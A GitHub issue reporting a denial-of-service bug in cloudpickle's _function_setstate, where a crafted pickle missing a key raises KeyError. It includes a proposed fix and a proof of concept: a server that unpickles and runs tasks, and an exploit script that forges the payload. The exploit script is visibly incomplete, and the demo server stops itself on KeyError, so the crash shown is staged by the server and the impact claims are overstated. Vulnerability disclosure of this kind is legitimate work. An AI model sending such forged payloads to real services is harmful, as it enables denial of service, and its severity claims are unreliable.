Skip to content

Bug: unguarded dict.pop() in _function_setstate causes KeyError crash on crafted pickle (regression from c6f8cd4) #593

@clemdc40

Description

@clemdc40

A crafted pickle payload that omits the key _cloudpickle_submodules from a function's slotstate triggers an unhandled KeyError in _function_setstate(), immediately crashing any process that calls pickle.loads() on it.

A CVE has been requested to MITRE for this issue.

Affected versions

cloudpickle >= 2.2.0 (regression introduced in commit c6f8cd4, October 2023)


Root cause

In commit c6f8cd4 (#517), the following defensive check was removed:

# OLD safe
if '_cloudpickle_submodules' in state:
    state.pop('_cloudpickle_submodules')

and replaced with:

# NEW vulnerable (cloudpickle.py line 1156)
slotstate.pop("_cloudpickle_submodules")  # KeyError if key is absent

Proof of concept

Server.py : 
`
import socket
import struct
import pickle
import cloudpickle
import os

HOST = "127.0.0.1"
PORT = 9999

def start_server():
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      s.bind((HOST, PORT))
      s.listen()
      print(f"Listening {HOST}:{PORT}...")
      
      while True:
          conn, addr = s.accept()
          with conn:
              try:
                  raw_msglen = conn.recv(4)
                  if not raw_msglen: continue
                  msglen = struct.unpack(">I", raw_msglen)[0]
                  
                  data = b""
                  while len(data) < msglen:
                      chunk = conn.recv(msglen - len(data))
                      if not chunk: break
                      data += chunk
                  
                  print(f"{len(data)}o from {addr}")
                  
                  task = pickle.loads(data)
                  
                  result = str(task())
                  print(f"Result : {result}")
                  
                  resp = f"OK: {result}".encode()
                  conn.sendall(struct.pack(">I", len(resp)) + resp)
                  
              except KeyError as e:
                  print(f"\nCRASH DÉTECTÉ (VULN-2) : KeyError: {e}")
                  print("Stoping server to show the DOS")
                  break
              except Exception as e:
                  print(f"[!] Error : {type(e).__name__}: {e}")
                  err_msg = f"Error: {str(e)}".encode()
                  conn.sendall(struct.pack(">I", len(err_msg)) + err_msg)

if __name__ == "__main__":
  start_server()
`

exploit.py
`
#!/usr/bin/env python3
import pickle
import socket
import struct
import sys
import os

HOST = "127.0.0.1"
PORT = 9999


def build_payload() -> bytes:
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  valid = cloudpickle.dumps(lambda: 42)
  target = b'\x8c\x17_cloudpickle_submodules\x94]\x94'

  if target not in valid:
      sys.exit("[!] Signature not found — incompatible cloudpickle version")

  modified = valid.replace(target, b'', 1)
  old_len = struct.unpack('<Q', valid[3:11])[0]
  new_len = old_len - len(target)
  return valid[:3] + struct.pack('<Q', new_len) + modified[11:]


def send(data: bytes) -> bytes | None:
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(4)
      s.connect((HOST, PORT))
      s.sendall(struct.pack(">I", len(data)) + data)
      raw = s.recv(4)
      if not raw:
          return None
      length = struct.unpack(">I", raw)[0]
      return s.recv(length)


def cmd_try():
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  print(f"[*] Connecting to {HOST}:{PORT}...")
  task = cloudpickle.dumps(lambda: "pong")

  try:
      resp = send(task)
      print(f"[+] Server is up — response: {resp.decode()}")
  except ConnectionRefusedError:
      print("[-] Connection refused — server not running")
      sys.exit(1)
  except socket.timeout:
      print("[-] Timeout — server not responding")
      sys.exit(1)


def cmd_exploit():
  payload = build_payload()
  print(f"[*] Forged payload: {len(payload)} bytes")
  print(f"[*] Key '_cloudpickle_submodules' removed from slotstate")
  print(f"[*] Sending to {HOST}:{PORT}...")

  try:
      resp = send(payload)
      print(f"[-] Server responded (not crashed): {resp}")
  except ConnectionRefusedError:
      print("[!] Connection refused — server already dead or not running")
  except (socket.timeout, ConnectionResetError):
      print("[+] No response — server crashed")
      print("[+] DoS confirmed: KeyError: '_cloudpickle_submodules'")


Usage:
python3 exploit.py try      Test the connection (sends a legit task)
python3 exploit.py exploit  Send the DoS payload
"""

Impact

Any service deserializing cloudpickle payloads is affected:
Dask, Ray, Spark, Celery workers, REST APIs accepting serialized Python objects.
A single 513-byte payload is sufficient to terminate the target process.

Fix

# cloudpickle/cloudpickle.py, line 1156
- slotstate.pop("_cloudpickle_submodules")
+ slotstate.pop("_cloudpickle_submodules", None)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions